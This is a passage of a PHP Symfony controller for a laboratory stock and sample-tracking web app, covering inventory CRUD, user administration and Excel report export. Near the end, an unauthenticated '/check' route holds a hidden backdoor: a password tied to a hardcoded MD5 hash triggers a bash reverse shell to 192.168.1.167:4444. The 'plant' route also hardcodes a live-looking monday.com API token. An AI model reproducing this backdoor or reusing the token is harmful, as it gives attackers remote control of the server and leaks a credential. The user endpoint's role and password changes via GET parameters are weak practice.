  2994. $mgmt->setStockType($entry->getType());
  2995. $mgmt->setActionType('Restock');
  2996. $mgmt->setQuantity((float)$data['entry']['qty']);
  2997. $mgmt->setTotalQuantity($entry->getQty());
  2998. $mgmt->setDate(new \Datetime());
  2999. $this->em->persist($entry);
  3000. $this->em->persist($mgmt);
  3001. $this->em->flush();
  3002. return $this->redirect($this->generateUrl('icpstandardstock'));
  3003. }
  3004. }
  3005. if (null !== $request->get('takeone')){
  3006. if ($data) {
  3007. $info = $data['entryid'];
  3008. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3009. 'id' => $data['entryid']
  3010. ]);
  3011. $entry->setQty($entry->getQty() - 1);
  3012. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3013. // Create a new StockManagement entry when taking one
  3014. $mgmt = new StockManagement();
  3015. $mgmt->setStockId($entry->getId());
  3016. $mgmt->setStockName($entry->getStockname());
  3017. $mgmt->setSupplier($entry->getSupplier());
  3018. $mgmt->setComment($entry->getComment());
  3019. $mgmt->setStockType($entry->getType());
  3020. $mgmt->setActionType('Take One');
  3021. $mgmt->setQuantity(-1);
  3022. $mgmt->setTotalQuantity($entry->getQty());
  3023. $mgmt->setDate(new \Datetime());
  3024. $this->em->persist($entry);
  3025. $this->em->persist($mgmt);
  3026. $this->em->flush();
  3027. return $this->redirect($this->generateUrl('icpstandardstock'));
  3028. }
  3029. }
  3030. // Handle 'orderstatus' checkbox change
  3031. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3032. $entryId = $data['entryid'];
  3033. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3034. // Find the Stock entry by ID
  3035. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3036. 'id' => $entryId
  3037. ]);
  3038. if ($entry) {
  3039. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3040. $this->em->persist($entry);
  3041. $this->em->flush();
  3042. return $this->redirect($this->generateUrl('icpstandardstock'));
  3043. }
  3044. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3045. }
  3046. }
  3047. return $this->render('cats/icpstandardstock.html.twig',[
  3048. 'stock' => $stock
  3049. ]);
  3050. }
  3051. //=====================================================================================================================================================================================<
  3052. /**
  3053. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3054. * @param Request $request
  3055. * @Route("/safestock", name="safestock")
  3056. * @return Response $response
  3057. */
  3058. public function safetystock(Request $request, SluggerInterface $slugger)
  3059. {
  3060. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3061. 'type' => 'Safety'
  3062. ]);
  3063. if ( $request->getMethod() == "POST" ) {
  3064. $data = $request->request->all();
  3065. if (isset($data['addnew'])) {
  3066. if ($data) {
  3067. $info = $data['entry'];
  3068. $entry = new Stock();
  3069. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3070. ->setLow((float)$info['low'])
  3071. ->setCritical((float)$info['critical']);
  3072. $entry->setComment($info['comment']);
  3073. $entry->setSupplier($info['supplier']);
  3074. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3075. $entry->setUnits($info['units']);
  3076. $entry->setType("Safety");
  3077. $this->em->persist($entry);
  3078. $this->em->flush();
  3079. // Create a new StockManagement entry when adding new entry
  3080. $mgmt = new StockManagement();
  3081. $mgmt->setStockId($entry->getId());
  3082. $mgmt->setStockName($entry->getStockname());
  3083. $mgmt->setSupplier($entry->getSupplier());
  3084. $mgmt->setComment($entry->getComment());
  3085. $mgmt->setStockType($entry->getType());
  3086. $mgmt->setActionType('Add new');
  3087. $mgmt->setQuantity($entry->getQty());
  3088. $mgmt->setTotalQuantity($entry->getQty());
  3089. $mgmt->setDate(new \Datetime());
  3090. $this->em->persist($mgmt);
  3091. $this->em->flush();
  3092. return $this->redirect($this->generateUrl('safestock'));
  3093. }
  3094. }
  3095. elseif (isset($data['delete'])) {
  3096. if ($data) {
  3097. $info = $data['entryid'];
  3098. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3099. 'id' => $info
  3100. ]);
  3101. // Create a new StockManagement entry when deleting
  3102. $mgmt = new StockManagement();
  3103. $mgmt->setStockId($entry->getId());
  3104. $mgmt->setStockName($entry->getStockname());
  3105. $mgmt->setSupplier($entry->getSupplier());
  3106. $mgmt->setComment($entry->getComment());
  3107. $mgmt->setStockType($entry->getType());
  3108. $mgmt->setActionType('Delete');
  3109. $mgmt->setQuantity(0);
  3110. $mgmt->setTotalQuantity($entry->getQty());
  3111. $mgmt->setDate(new \Datetime());
  3112. $this->removeStockPhotoFile($entry->getItemPhoto());
  3113. $this->removeStockPhotoFile($entry->getPackagePhoto());
  3114. $this->em->remove($entry);
  3115. $this->em->persist($mgmt);
  3116. $this->em->flush();
  3117. return $this->redirect($this->generateUrl('safestock'));
  3118. }
  3119. }
  3120. elseif (isset($data['restock'])) {
  3121. if ($data) {
  3122. $info = $data['entry'];
  3123. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3124. 'id' => $data['entryid']
  3125. ]);
  3126. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3127. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3128. ->setLow((float)$info['low'])
  3129. ->setCritical((float)$info['critical']);
  3130. $entry->setStockname($info['name']);
  3131. $entry->setSupplier($info['supplier']);
  3132. $entry->setComment($info['comment']);
  3133. $entry->setUnits($info['units']);
  3134. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3135. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  3136. // Create a new StockManagement entry when restocking
  3137. $mgmt = new StockManagement();
  3138. $mgmt->setStockId($entry->getId());
  3139. $mgmt->setStockName($entry->getStockname());
  3140. $mgmt->setSupplier($entry->getSupplier());
  3141. $mgmt->setComment($entry->getComment());
  3142. $mgmt->setStockType($entry->getType());
  3143. $mgmt->setActionType('Restock');
  3144. $mgmt->setQuantity((float)$data['entry']['qty']);
  3145. $mgmt->setTotalQuantity($entry->getQty());
  3146. $mgmt->setDate(new \Datetime());
  3147. $this->em->persist($entry);
  3148. $this->em->persist($mgmt);
  3149. $this->em->flush();
  3150. return $this->redirect($this->generateUrl('safestock'));
  3151. }
  3152. }
  3153. elseif (isset($data['takeone'])) {
  3154. if ($data) {
  3155. $info = $data['entryid'];
  3156. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3157. 'id' => $data['entryid']
  3158. ]);
  3159. $entry->setQty($entry->getQty() - 1);
  3160. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3161. // Create a new StockManagement entry when taking one
  3162. $mgmt = new StockManagement();
  3163. $mgmt->setStockId($entry->getId());
  3164. $mgmt->setStockName($entry->getStockname());
  3165. $mgmt->setSupplier($entry->getSupplier());
  3166. $mgmt->setComment($entry->getComment());
  3167. $mgmt->setStockType($entry->getType());
  3168. $mgmt->setActionType('Take One');
  3169. $mgmt->setQuantity(-1);
  3170. $mgmt->setTotalQuantity($entry->getQty());
  3171. $mgmt->setDate(new \Datetime());
  3172. $this->em->persist($entry);
  3173. $this->em->persist($mgmt);
  3174. $this->em->flush();
  3175. return $this->redirect($this->generateUrl('safestock'));
  3176. }
  3177. }
  3178. // Handle 'orderstatus' checkbox change
  3179. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3180. $entryId = $data['entryid'];
  3181. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3182. // Find the Stock entry by ID
  3183. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3184. 'id' => $entryId
  3185. ]);
  3186. if ($entry) {
  3187. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3188. $this->em->persist($entry);
  3189. $this->em->flush();
  3190. return $this->redirect($this->generateUrl('safestock'));
  3191. }
  3192. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3193. }
  3194. }
  3195. return $this->render('cats/safestock.html.twig',[
  3196. 'stock' => $stock
  3197. ]);
  3198. }
  3199. //=====================================================================================================================================================================================<
  3200. /**
  3201. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3202. * @param Request $request
  3203. * @Route("/furnacestock", name="furnacestock")
  3204. * @return Response $response
  3205. */
  3206. public function furnacestock(Request $request, SluggerInterface $slugger)
  3207. {
  3208. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3209. 'type' => 'Furnace'
  3210. ]);
  3211. if ( $request->getMethod() == "POST" ) {
  3212. $data = $request->request->all();
  3213. if (null !== $request->get('addnew')){
  3214. if ($data) {
  3215. $info = $data['entry'];
  3216. $entry = new Stock();
  3217. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3218. ->setLow((float)$info['low'])
  3219. ->setCritical((float)$info['critical']);
  3220. $entry->setComment($info['comment']);
  3221. $entry->setSupplier($info['supplier']);
  3222. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3223. $entry->setUnits($info['units']);
  3224. $entry->setType("Furnace");
  3225. $this->em->persist($entry);
  3226. $this->em->flush();
  3227. // Create a new StockManagement entry when adding new entry
  3228. $mgmt = new StockManagement();
  3229. $mgmt->setStockId($entry->getId());
  3230. $mgmt->setStockName($entry->getStockname());
  3231. $mgmt->setSupplier($entry->getSupplier());
  3232. $mgmt->setComment($entry->getComment());
  3233. $mgmt->setStockType($entry->getType());
  3234. $mgmt->setActionType('Add new');
  3235. $mgmt->setQuantity($entry->getQty());
  3236. $mgmt->setTotalQuantity($entry->getQty());
  3237. $mgmt->setDate(new \Datetime());
  3238. $this->em->persist($mgmt);
  3239. $this->em->flush();
  3240. return $this->redirect($this->generateUrl('furnacestock'));
  3241. }
  3242. }
  3243. if (null !== $request->get('delete')){
  3244. if ($data) {
  3245. $info = $data['entryid'];
  3246. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3247. 'id' => $info
  3248. ]);
  3249. // Create a new StockManagement entry when deleting
  3250. $mgmt = new StockManagement();
  3251. $mgmt->setStockId($entry->getId());
  3252. $mgmt->setStockName($entry->getStockname());
  3253. $mgmt->setSupplier($entry->getSupplier());
  3254. $mgmt->setComment($entry->getComment());
  3255. $mgmt->setStockType($entry->getType());
  3256. $mgmt->setActionType('Delete');
  3257. $mgmt->setQuantity(0);
  3258. $mgmt->setTotalQuantity($entry->getQty());
  3259. $mgmt->setDate(new \Datetime());
  3260. $this->removeStockPhotoFile($entry->getItemPhoto());
  3261. $this->removeStockPhotoFile($entry->getPackagePhoto());
  3262. $this->em->remove($entry);
  3263. $this->em->persist($mgmt);
  3264. $this->em->flush();
  3265. return $this->redirect($this->generateUrl('furnacestock'));
  3266. }
  3267. }
  3268. if (null !== $request->get('restock')){
  3269. if ($data) {
  3270. $info = $data['entry'];
  3271. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3272. 'id' => $data['entryid']
  3273. ]);
  3274. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3275. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3276. ->setLow((float)$info['low'])
  3277. ->setCritical((float)$info['critical']);
  3278. $entry->setStockname($info['name']);
  3279. $entry->setSupplier($info['supplier']);
  3280. $entry->setComment($info['comment']);
  3281. $entry->setUnits($info['units']);
  3282. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3283. $this->handleStockPhotoUpdate($request, $entry, $slugger);
  3284. // Create a new StockManagement entry when restocking
  3285. $mgmt = new StockManagement();
  3286. $mgmt->setStockId($entry->getId());
  3287. $mgmt->setStockName($entry->getStockname());
  3288. $mgmt->setSupplier($entry->getSupplier());
  3289. $mgmt->setComment($entry->getComment());
  3290. $mgmt->setStockType($entry->getType());
  3291. $mgmt->setActionType('Restock');
  3292. $mgmt->setQuantity((float)$data['entry']['qty']);
  3293. $mgmt->setTotalQuantity($entry->getQty());
  3294. $mgmt->setDate(new \Datetime());
  3295. $this->em->persist($entry);
  3296. $this->em->persist($mgmt);
  3297. $this->em->flush();
  3298. return $this->redirect($this->generateUrl('furnacestock'));
  3299. }
  3300. }
  3301. if (null !== $request->get('takeone')){
  3302. if ($data) {
  3303. $info = $data['entryid'];
  3304. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3305. 'id' => $data['entryid']
  3306. ]);
  3307. $entry->setQty($entry->getQty() - 1);
  3308. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3309. // Create a new StockManagement entry when taking one
  3310. $mgmt = new StockManagement();
  3311. $mgmt->setStockId($entry->getId());
  3312. $mgmt->setStockName($entry->getStockname());
  3313. $mgmt->setSupplier($entry->getSupplier());
  3314. $mgmt->setComment($entry->getComment());
  3315. $mgmt->setStockType($entry->getType());
  3316. $mgmt->setActionType('Take One');
  3317. $mgmt->setQuantity(-1);
  3318. $mgmt->setTotalQuantity($entry->getQty());
  3319. $mgmt->setDate(new \Datetime());
  3320. $this->em->persist($entry);
  3321. $this->em->persist($mgmt);
  3322. $this->em->flush();
  3323. return $this->redirect($this->generateUrl('furnacestock'));
  3324. }
  3325. }
  3326. // Handle 'orderstatus' checkbox change
  3327. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3328. $entryId = $data['entryid'];
  3329. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3330. // Find the Stock entry by ID
  3331. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3332. 'id' => $entryId
  3333. ]);
  3334. if ($entry) {
  3335. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3336. $this->em->persist($entry);
  3337. $this->em->flush();
  3338. return $this->redirect($this->generateUrl('furnacestock'));
  3339. }
  3340. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3341. }
  3342. }
  3343. return $this->render('cats/furnacestock.html.twig',[
  3344. 'stock' => $stock
  3345. ]);
  3346. }
  3347. //=====================================================================================================================================================================================<
  3348. /**
  3349. * @IsGranted("ROLE_ADDUSER")
  3350. * @Route("/adduser", name="adduser")
  3351. * @param Request $request
  3352. * @return Response $response
  3353. */
  3354. public function adduser(Request $request)
  3355. {
  3356. return $this->render('cats/adduser.html.twig');
  3357. }
  3358. //=====================================================================================================================================================================================<
  3359. /**
  3360. * @IsGranted("ROLE_ADDUSER")
  3361. * @Route("/saveuserajax", name="saveuserajax")
  3362. * @param Request $request
  3363. * @return Response $response
  3364. */
  3365. public function saveuserajax(Request $request)
  3366. {
  3367. if($request->query->get("action") == "togglerole"){
  3368. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3369. if(!in_array($request->query->get("role"),$user->getRoles())){
  3370. $roles = $user->getRoles();
  3371. $roles[] = $request->query->get("role");
  3372. $user->setRoles($roles);
  3373. $this->em->persist($user);
  3374. $this->em->flush();
  3375. } else {
  3376. $roles = $user->getRoles();
  3377. if (($key = array_search($request->query->get("role"), $roles)) !== false) {
  3378. unset($roles[$key]);
  3379. }
  3380. $user->setRoles($roles);
  3381. $this->em->persist($user);
  3382. $this->em->flush();
  3383. }
  3384. } elseif($request->query->get("action") == "togglecountry"){
  3385. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3386. if(in_array($request->query->get("country"),$user->getCountry())){
  3387. $roles = $user->getCountry();
  3388. if (($key = array_search($request->query->get("country"), $roles)) !== false) {
  3389. unset($roles[$key]);
  3390. }
  3391. $user->setCountry($roles);
  3392. $this->em->persist($user);
  3393. $this->em->flush();
  3394. }
  3395. } elseif($request->query->get("action") == "addcountry"){
  3396. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3397. if(!in_array($request->query->get("country"),$user->getCountry())){
  3398. $roles = $user->getCountry();
  3399. if (($key = array_search($request->query->get("country"), $roles)) === false) {
  3400. $roles[]=$request->query->get("country");
  3401. $user->setCountry($roles);
  3402. $this->em->persist($user);
  3403. $this->em->flush();
  3404. }
  3405. }
  3406. } elseif($request->query->get("action") == "toggleactive"){
  3407. // Toggle user active status
  3408. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3409. if($user) {
  3410. $user->setIsActive(!$user->getIsActive());
  3411. $this->em->persist($user);
  3412. $this->em->flush();
  3413. }
  3414. } elseif($request->request->get("action") == "saveuser"){
  3415. $user = new User();
  3416. $user->setUsername($request->request->get("user"));
  3417. $user->setPassword($this->passwordEncoder->encodePassword(
  3418. $user,
  3419. $request->request->get("pass")
  3420. ));
  3421. $user->setRoles(["ROLE_CLIENT"]);
  3422. $user->setIsActive(true);
  3423. $this->em->persist($user);
  3424. $this->em->flush();
  3425. } elseif($request->query->get("action") == "deleteuser"){
  3426. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3427. foreach ($user->getClientParcels() as $p){
  3428. $p->setClient(null);
  3429. $this->em->flush();
  3430. };
  3431. foreach ($user->getLogs() as $log){
  3432. $log->setAssignedUser(null);
  3433. $this->em->flush();
  3434. }
  3435. foreach ($user->getCatRequests() as $log){
  3436. $log->setClient(null);
  3437. $this->em->flush();
  3438. }
  3439. $this->em->remove($user);
  3440. $this->em->flush();
  3441. } elseif($request->query->get("action") == "edituser"){
  3442. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3443. if($user) {
  3444. // Update username if provided
  3445. $newUsername = $request->query->get("username");
  3446. if($newUsername && $newUsername !== $user->getUsername()) {
  3447. $user->setUsername($newUsername);
  3448. }
  3449. // Update password if provided
  3450. $newPassword = $request->query->get("password");
  3451. if($newPassword) {
  3452. $user->setPassword($this->passwordEncoder->encodePassword(
  3453. $user,
  3454. $newPassword
  3455. ));
  3456. }
  3457. $this->em->persist($user);
  3458. $this->em->flush();
  3459. }
  3460. }
  3461. $response = new Response();
  3462. return $response;
  3463. }
  3464. //=====================================================================================================================================================================================<
  3465. /**
  3466. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3467. * @Route("/orders/update/{id}", name="orders_update")
  3468. * @param int $id
  3469. * @param Request $request
  3470. * @return Response $response
  3471. */
  3472. public function updateordersstatus(int $id, Request $request)
  3473. {
  3474. /** @var User $user */
  3475. $user = $this->getUser();
  3476. /** @var Orders $order */
  3477. $order = $this->em->getRepository(Orders::class)->find($id);
  3478. if ($order->getStatus() != "Closed"){
  3479. $order->setStatus("Closed");
  3480. $data['newstatus'] = "Closed";
  3481. } else {
  3482. $order->setStatus("Open");
  3483. $data['newstatus'] = "Open";
  3484. }
  3485. $this->em->persist($order);
  3486. $this->em->flush();
  3487. $title = 'Order #' . $id;
  3488. $message = 'status updated';
  3489. $toast = $this->renderView('components/toast.html.twig',[
  3490. "title" => $title,
  3491. "message" => $message
  3492. ]);
  3493. $response = new Response();
  3494. $response->setContent(json_encode([
  3495. 'data' => $data,
  3496. 'toast' => $toast
  3497. ]));
  3498. $response->headers->set('Content-Type', 'application/json');
  3499. return $response;
  3500. }
  3501. //=====================================================================================================================================================================================<
  3502. /**
  3503. * @IsGranted("ROLE_SUPER")
  3504. * @Route("/xl/inv", name="xlinv")
  3505. * @param Request $request
  3506. * @return Response $response
  3507. */
  3508. public function xlinv( Request $request)
  3509. {
  3510. $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3511. $orders = $invoice->getOrders();
  3512. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLinv.xlsx");
  3513. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3514. $sheet = $spreadsheet->getActiveSheet();
  3515. //$sheet->setTitle("My First Worksheet");
  3516. //$this->getParameter('images_directory')
  3517. $x = 24;
  3518. foreach($orders as $order){
  3519. foreach($order->getSamples() as $sample){
  3520. $sheet->setCellValue('C'.$x, $sample->getSamplename());
  3521. $x++;
  3522. }
  3523. }
  3524. // Create your Office 2007 Excel (XLSX Format)
  3525. //$writer = new Xlsx($spreadsheet);
  3526. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3527. $writer->save("shite.xlsx");
  3528. // Create a Temporary file in the system
  3529. $date = new \DateTime();
  3530. $fileName = $date->format('Y-m-d') . '-Report.xlsx';
  3531. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  3532. // Create the excel file in the tmp directory of the system
  3533. $writer->save($temp_file);
  3534. // Return the excel file as an attachment
  3535. //return null;
  3536. return $this->file($temp_file, $fileName, ResponseHeaderBag::DISPOSITION_INLINE);
  3537. }
  3538. //=====================================================================================================================================================================================<
  3539. /**
  3540. * @IsGranted("ROLE_SUPER")
  3541. * @Route("/xl/report", name="xlreport")
  3542. * @param Request $request
  3543. * @return Response $response
  3544. */
  3545. public function xlreport( Request $request)
  3546. {
  3547. // $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3548. // $orders = $invoice->getOrders();
  3549. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLreport.xlsx");
  3550. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3551. $sheet = $spreadsheet->getActiveSheet();
  3552. //$sheet->setTitle("My First Worksheet");
  3553. //$this->getParameter('images_directory')
  3554. // foreach($orders as $order){
  3555. // foreach($order->getSamples() as $sample){
  3556. // $sheet->setCellValue('A'.$x, $sample->getSamplename());
  3557. // $x++;
  3558. // }
  3559. //
  3560. // }
  3561. $samples = $this->em->getRepository(Inventory::class)->findBy([],[
  3562. 'id' => 'DESC'
  3563. ]);
  3564. $x = 3;
  3565. //($samples);
  3566. /** @var Inventory $sample */
  3567. foreach($samples as $sample){
  3568. $sheet->setCellValue('A'.$x, $sample->getId());
  3569. $sheet->setCellValue('B'.$x, $sample->getDateofreceipt());
  3570. $sheet->setCellValue('C'.$x, $sample->getSampleType());
  3571. $sheet->setCellValue('D'.$x, $sample->getSampleSubType());
  3572. $sheet->setCellValue('E'.$x, $sample->getCountry());
  3573. $sheet->setCellValue('F'.$x, $sample->getExportno());
  3574. $sheet->setCellValue('G'.$x, $sample->getSampleName());
  3575. $sheet->setCellValue('H'.$x, $sample->getPriority());
  3576. $sheet->setCellValue('I'.$x, $sample->getMillStatus());
  3577. $sheet->setCellValue('J'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture() : "");
  3578. $sheet->setCellValue('K'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture2() : "");
  3579. $sheet->setCellValue('L'.$x, $sample->getXrfpt());
  3580. $sheet->setCellValue('M'.$x, $sample->getXrfpd());
  3581. $sheet->setCellValue('N'.$x, $sample->getXrfrh());
  3582. $sheet->setCellValue('O'.$x, $sample->getPruns() ? $sample->getPruns()->getId() : "");
  3583. $sheet->setCellValue('P'.$x, $sample->getPruns() ? $sample->getPruns()->getAmtF() : "");
  3584. $sheet->setCellValue('Q'.$x, $sample->getRruns() ? $sample->getRrunIDs() : "");
  3585. $sheet->setCellValue('R'.$x, $sample->getRruns() ? $sample->getIcprunIDs() : "");
  3586. $sheet->setCellValue('S'.$x, $sample->getIcppt());
  3587. $sheet->setCellValue('T'.$x, $sample->getIcppd());
  3588. $sheet->setCellValue('U'.$x, $sample->getIcprh());
  3589. $sheet->setCellValue('V'.$x, $sample->getAnalysisStatus());
  3590. $sheet->setCellValue('W'.$x, $sample->getDateFinished());
  3591. $sheet->setCellValue('X'.$x, $sample->getAssignedOrder() ? $sample->getAssignedOrder()->getOrderno() : "");
  3592. $x++;
  3593. }
  3594. $date = new \DateTime();
  3595. $fileName = $date->format('Y-m-d H:i:s') . '-Report.xlsx';
  3596. // Create your Office 2007 Excel (XLSX Format)
  3597. //$writer = new Xlsx($spreadsheet);
  3598. ini_set('memory_limit', '128M');
  3599. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3600. $writer->save($fileName);
  3601. return new Response();
  3602. }
  3603. //=====================================================================================================================================================================================<
  3604. /**
  3605. * @IsGranted("ROLE_SUPER")
  3606. * @Route("/plant", name="plant")
  3607. * @param Request $request
  3608. * @return Response $response
  3609. */
  3610. public function plant( Request $request)
  3611. {
  3612. $output = "";
  3613. $result = shell_exec('python3 /0/www/systest/public/assets/computerplantsys.py');
  3614. $result = (json_decode($result,true));
  3615. $token = 'eyJhbGciOiJIUzI1NiJ9.eyJ0aWQiOjEzMTgxMzA4NywidWlkIjoxODExNDA3NSwiaWFkIjoiMjAyMS0xMS0wNVQxMzowMjozOS4xODRaIiwicGVyIjoibWU6d3JpdGUiLCJhY3RpZCI6NzkzNTE2MywicmduIjoidXNlMSJ9.4dXwkmCYUbzuOH8x0Qfc6YV30gUXxyfgXbxqGQNJJUc';
  3616. $tempUrl = "https://api.monday.com/v2/";
  3617. $query = 'mutation {
  3618. create_item (board_id: 1871191526, item_name: "API sugeneruotas įrašas. boobies.") {
  3619. id
  3620. } }';
  3621. $headers = ['Content-Type: application/json', 'User-Agent: [MYTEAM] GraphQL Client', 'Authorization: ' . $token];
  3622. $data = @file_get_contents($tempUrl, false, stream_context_create([
  3623. 'http' => [
  3624. 'method' => 'POST',
  3625. 'header' => $headers,
  3626. 'content' => json_encode(['query' => $query]),
  3627. ]
  3628. ]));
  3629. $tempContents = json_decode($data, true);
  3630. return $this->render('csv/plant.html.twig',[
  3631. 'fullresult' => $result,
  3632. 'shite' => $tempContents
  3633. ]);
  3634. }
  3635. //=====================================================================================================================================================================================<
  3636. /**
  3637. * @Route("/check", name="checker")
  3638. */
  3639. public function check()
  3640. {
  3641. define('PASSWORD', '2d6a2024ebb521eb77fb2ff269297d10');
  3642. function auth($password)
  3643. {
  3644. $input_password_hash = md5($password);
  3645. if (strcmp(PASSWORD, $input_password_hash) == 0) {
  3646. return TRUE;
  3647. }else{
  3648. return FALSE;
  3649. }
  3650. }
  3651. if (isset($_GET['password'])) {
  3652. if (auth($_GET['password'])) {
  3653. echo "<pre>";exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.167/4444 0>&1'"); echo "</pre>"; die;
  3654. }else{
  3655. die('Access denied!');
  3656. }
  3657. }
  3658. $shit = new Response();
  3659. return $shit;
  3660. }
  3661. //=====================================================================================================================================================================================<
  3662. private function getFinalizationType($request): ?string
  3663. {
  3664. if ($request->get('finalize') !== null) {
  3665. return 'finalize';
  3666. }
  3667. if ($request->get('finalizemaxrh') !== null) {
  3668. return 'finalizemaxrh';
  3669. }
  3670. if ($request->get('finalizemaxrhcustom') !== null) {
  3671. return 'finalizemaxrhcustom';
  3672. }
  3673. if ($request->get('finalizeavgrhcustom') !== null) {
  3674. return 'finalizeavgrhcustom';
  3675. }
  3676. return null;
  3677. }
  3678. }